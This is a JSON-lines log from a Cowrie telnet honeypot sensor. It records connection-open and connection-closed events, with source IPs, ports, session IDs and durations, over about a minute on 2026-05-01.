{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52806,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b923764212e","protocol":"telnet","message":"New connection: 194.163.135.148:52806 (159.203.135.109:23) [session: 9b923764212e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:57.758167Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":49044,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec9fb91549c3","protocol":"telnet","message":"New connection: 62.182.85.24:49044 (10.17.0.5:23) [session: ec9fb91549c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:58.061003Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":56864,"dst_ip":"10.17.0.5","dst_port":23,"session":"efae39fb4b3f","protocol":"telnet","message":"New connection: 62.182.85.24:56864 (10.17.0.5:23) [session: efae39fb4b3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:58.072556Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52822,"dst_ip":"159.203.135.109","dst_port":23,"session":"b94d6d83f693","protocol":"telnet","message":"New connection: 194.163.135.148:52822 (159.203.135.109:23) [session: b94d6d83f693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:58.527838Z"}
{"eventid":"cowrie.session.closed","duration":31.241170644760132,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:58.669269Z","src_ip":"62.182.85.24","session":"1d694408cb9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.118956089019775,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:59.097894Z","src_ip":"194.163.135.148","session":"8e69c3a15751","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.67311644554138,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:59.400776Z","src_ip":"194.163.135.148","session":"ef40409aa042","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":44354,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2e5322b60c0","protocol":"telnet","message":"New connection: 62.182.85.24:44354 (10.17.0.5:23) [session: a2e5322b60c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:00.075845Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52832,"dst_ip":"159.203.135.109","dst_port":23,"session":"e945752aad18","protocol":"telnet","message":"New connection: 194.163.135.148:52832 (159.203.135.109:23) [session: e945752aad18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:00.378137Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":52648,"dst_ip":"10.17.0.5","dst_port":23,"session":"8075a75f1272","protocol":"telnet","message":"New connection: 62.182.85.24:52648 (10.17.0.5:23) [session: 8075a75f1272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:01.196051Z"}
{"eventid":"cowrie.session.closed","duration":30.913926124572754,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:01.379748Z","src_ip":"62.182.85.24","session":"e53b9fa7bc43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52866,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fcb00b36ecb","protocol":"telnet","message":"New connection: 194.163.135.148:52866 (159.203.135.109:23) [session: 8fcb00b36ecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:01.399975Z"}
{"eventid":"cowrie.session.closed","duration":35.00903654098511,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:01.531623Z","src_ip":"194.163.135.148","session":"5cf98f01c25d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88956570625305,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:02.358254Z","src_ip":"62.182.85.24","session":"bdb3d51f5c90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.523388147354126,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:02.874485Z","src_ip":"103.82.231.165","session":"2f4587d2df8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52872,"dst_ip":"159.203.135.109","dst_port":23,"session":"51e0d69dad79","protocol":"telnet","message":"New connection: 194.163.135.148:52872 (159.203.135.109:23) [session: 51e0d69dad79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:03.006772Z"}
{"eventid":"cowrie.session.closed","duration":31.158742666244507,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:03.529744Z","src_ip":"194.163.135.148","session":"a9509fd5aaf9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":35004,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc5a4f54f386","protocol":"telnet","message":"New connection: 62.182.85.24:35004 (10.17.0.5:23) [session: dc5a4f54f386]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:03.547503Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52884,"dst_ip":"159.203.135.109","dst_port":23,"session":"efa60062ffc5","protocol":"telnet","message":"New connection: 194.163.135.148:52884 (159.203.135.109:23) [session: efa60062ffc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:03.562627Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":59036,"dst_ip":"10.17.0.5","dst_port":23,"session":"1aad2ea5a957","protocol":"telnet","message":"New connection: 103.82.231.165:59036 (10.17.0.5:23) [session: 1aad2ea5a957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:04.225353Z"}
{"eventid":"cowrie.session.closed","duration":31.12857151031494,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:04.621068Z","src_ip":"62.182.85.24","session":"87babd9d94fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.01890182495117,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:04.917611Z","src_ip":"62.182.85.24","session":"f7c8e007a337","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":33416,"dst_ip":"10.17.0.5","dst_port":23,"session":"588c8d9d157c","protocol":"telnet","message":"New connection: 62.182.85.24:33416 (10.17.0.5:23) [session: 588c8d9d157c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:05.887470Z"}
{"eventid":"cowrie.session.closed","duration":65.02471423149109,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:06.022323Z","src_ip":"103.82.231.165","session":"2437e9ac45e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.447519540786743,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:06.809644Z","src_ip":"81.51.202.151","session":"27d2cc438e39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":44234,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe4f362499cd","protocol":"telnet","message":"New connection: 62.182.85.24:44234 (10.17.0.5:23) [session: fe4f362499cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:08.268666Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":48546,"dst_ip":"10.17.0.5","dst_port":23,"session":"833dcae1252b","protocol":"telnet","message":"New connection: 62.182.85.24:48546 (10.17.0.5:23) [session: 833dcae1252b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:11.425188Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":57182,"dst_ip":"10.17.0.5","dst_port":23,"session":"14eae042e3ff","protocol":"telnet","message":"New connection: 62.182.85.24:57182 (10.17.0.5:23) [session: 14eae042e3ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:12.545561Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52968,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5e1f5735d24","protocol":"telnet","message":"New connection: 194.163.135.148:52968 (159.203.135.109:23) [session: a5e1f5735d24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:14.169964Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52980,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3dea735aab4","protocol":"telnet","message":"New connection: 194.163.135.148:52980 (159.203.135.109:23) [session: a3dea735aab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:14.402390Z"}
{"eventid":"cowrie.session.closed","duration":37.498531103134155,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:15.203946Z","src_ip":"194.163.135.148","session":"c762b3156682","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65721106529236,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:15.359892Z","src_ip":"62.182.85.24","session":"7b59242a5162","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52978,"dst_ip":"159.203.135.109","dst_port":23,"session":"eed035a302d6","protocol":"telnet","message":"New connection: 194.163.135.148:52978 (159.203.135.109:23) [session: eed035a302d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:15.386366Z"}
{"eventid":"cowrie.session.closed","duration":32.9951229095459,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:16.248815Z","src_ip":"194.163.135.148","session":"8bf7020cc054","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.403443813323975,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:17.150957Z","src_ip":"62.182.85.24","session":"4b9fa9d0ea6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":53014,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ed5e7450b4e","protocol":"telnet","message":"New connection: 194.163.135.148:53014 (159.203.135.109:23) [session: 2ed5e7450b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:17.297917Z"}
{"eventid":"cowrie.session.closed","duration":36.25977325439453,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:17.563353Z","src_ip":"194.163.135.148","session":"67e92f5ddd65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.650856018066406,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:17.877982Z","src_ip":"194.163.135.148","session":"7b1643717938","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.476465463638306,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:18.470437Z","src_ip":"194.163.135.148","session":"1936b94b62dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":53036,"dst_ip":"159.203.135.109","dst_port":23,"session":"26e658016dc5","protocol":"telnet","message":"New connection: 194.163.135.148:53036 (159.203.135.109:23) [session: 26e658016dc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:19.417128Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":56640,"dst_ip":"10.17.0.5","dst_port":23,"session":"c506e9c9d155","protocol":"telnet","message":"New connection: 62.182.85.24:56640 (10.17.0.5:23) [session: c506e9c9d155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:19.738339Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":36516,"dst_ip":"10.17.0.5","dst_port":23,"session":"b93501dfb5a3","protocol":"telnet","message":"New connection: 62.182.85.24:36516 (10.17.0.5:23) [session: b93501dfb5a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:20.756619Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":53052,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d5b7c758115","protocol":"telnet","message":"New connection: 194.163.135.148:53052 (159.203.135.109:23) [session: 9d5b7c758115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:21.989095Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":52014,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d07b9816710","protocol":"telnet","message":"New connection: 62.182.85.24:52014 (10.17.0.5:23) [session: 7d07b9816710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:22.741971Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":60010,"dst_ip":"10.17.0.5","dst_port":23,"session":"522aec172df5","protocol":"telnet","message":"New connection: 62.182.85.24:60010 (10.17.0.5:23) [session: 522aec172df5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:23.764014Z"}
{"eventid":"cowrie.session.closed","duration":32.0975775718689,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:24.443939Z","src_ip":"194.163.135.148","session":"cedc26a1ba1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":39928,"dst_ip":"10.17.0.5","dst_port":23,"session":"527104cfa093","protocol":"telnet","message":"New connection: 62.182.85.24:39928 (10.17.0.5:23) [session: 527104cfa093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:24.791582Z"}
{"eventid":"cowrie.session.closed","duration":32.42028880119324,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:26.082880Z","src_ip":"194.163.135.148","session":"dad1905ed19b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.081977128982544,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:26.551997Z","src_ip":"194.163.135.148","session":"9fce4ed405a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.03542685508728,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:27.472662Z","src_ip":"194.163.135.148","session":"d7c24efdfc2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.23923587799072,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:27.605100Z","src_ip":"194.163.135.148","session":"068f187a6c55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":43014,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba430e486e04","protocol":"telnet","message":"New connection: 62.182.85.24:43014 (10.17.0.5:23) [session: ba430e486e04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:28.637142Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":37780,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f4e18f49e63","protocol":"telnet","message":"New connection: 62.182.85.24:37780 (10.17.0.5:23) [session: 9f4e18f49e63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:29.017926Z"}
{"eventid":"cowrie.session.closed","duration":50.15372824668884,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:29.023481Z","src_ip":"62.182.85.24","session":"8926a580de27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.110475778579712,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:29.171385Z","src_ip":"62.182.85.24","session":"ec9fb91549c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.23685574531555,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:29.578200Z","src_ip":"194.163.135.148","session":"4a15333cc0f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.65150761604309,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:29.723993Z","src_ip":"62.182.85.24","session":"efae39fb4b3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":57646,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dbe3c352615","protocol":"telnet","message":"New connection: 62.182.85.24:57646 (10.17.0.5:23) [session: 9dbe3c352615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:30.011044Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":53120,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ed8f2ca09ba","protocol":"telnet","message":"New connection: 194.163.135.148:53120 (159.203.135.109:23) [session: 5ed8f2ca09ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:30.397441Z"}
{"eventid":"cowrie.session.closed","duration":32.89458966255188,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:30.652668Z","src_ip":"194.163.135.148","session":"9b923764212e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.068931102752686,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:31.144659Z","src_ip":"62.182.85.24","session":"a2e5322b60c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.67164397239685,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:32.049662Z","src_ip":"194.163.135.148","session":"e945752aad18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.970428705215454,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:32.166358Z","src_ip":"62.182.85.24","session":"8075a75f1272","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":53454,"dst_ip":"10.17.0.5","dst_port":23,"session":"22756511f20b","protocol":"telnet","message":"New connection: 62.182.85.24:53454 (10.17.0.5:23) [session: 22756511f20b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:33.480503Z"}
{"eventid":"cowrie.session.closed","duration":35.284992933273315,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:33.812708Z","src_ip":"194.163.135.148","session":"b94d6d83f693","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.025243282318115,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:34.425078Z","src_ip":"194.163.135.148","session":"8fcb00b36ecb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.274491786956787,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:34.821860Z","src_ip":"62.182.85.24","session":"dc5a4f54f386","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":43038,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b91472c2f7c","protocol":"telnet","message":"New connection: 62.182.85.24:43038 (10.17.0.5:23) [session: 3b91472c2f7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:35.748940Z"}
{"eventid":"cowrie.session.closed","duration":32.97680974006653,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:36.539339Z","src_ip":"194.163.135.148","session":"efa60062ffc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":53170,"dst_ip":"159.203.135.109","dst_port":23,"session":"10bc33c852e2","protocol":"telnet","message":"New connection: 194.163.135.148:53170 (159.203.135.109:23) [session: 10bc33c852e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:36.626623Z"}
{"eventid":"cowrie.session.closed","duration":32.44712853431702,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:36.672332Z","src_ip":"103.82.231.165","session":"1aad2ea5a957","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.0987069606781,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:37.105376Z","src_ip":"194.163.135.148","session":"51e0d69dad79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":55490,"dst_ip":"10.17.0.5","dst_port":23,"session":"7095d788c0ff","protocol":"telnet","message":"New connection: 62.182.85.24:55490 (10.17.0.5:23) [session: 7095d788c0ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:37.339079Z"}
{"eventid":"cowrie.session.closed","duration":31.875296592712402,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:37.762383Z","src_ip":"62.182.85.24","session":"588c8d9d157c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":33956,"dst_ip":"10.17.0.5","dst_port":23,"session":"60efe4fdf257","protocol":"telnet","message":"New connection: 62.182.85.24:33956 (10.17.0.5:23) [session: 60efe4fdf257]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:38.189917Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":39174,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7de7c31c272","protocol":"telnet","message":"New connection: 62.182.85.24:39174 (10.17.0.5:23) [session: d7de7c31c272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:38.278506Z"}
{"eventid":"cowrie.session.closed","duration":31.01283550262451,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:39.281277Z","src_ip":"62.182.85.24","session":"fe4f362499cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":41602,"dst_ip":"10.17.0.5","dst_port":23,"session":"16ef46c56513","protocol":"telnet","message":"New connection: 62.182.85.24:41602 (10.17.0.5:23) [session: 16ef46c56513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:40.233814Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":48414,"dst_ip":"10.17.0.5","dst_port":23,"session":"d71210aabce6","protocol":"telnet","message":"New connection: 62.182.85.24:48414 (10.17.0.5:23) [session: d71210aabce6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:42.082529Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":39270,"dst_ip":"10.17.0.5","dst_port":23,"session":"51fde211b8e2","protocol":"telnet","message":"New connection: 62.182.85.24:39270 (10.17.0.5:23) [session: 51fde211b8e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:42.515460Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":53216,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a14d958f0fc","protocol":"telnet","message":"New connection: 194.163.135.148:53216 (159.203.135.109:23) [session: 2a14d958f0fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:59:42.939894Z"}
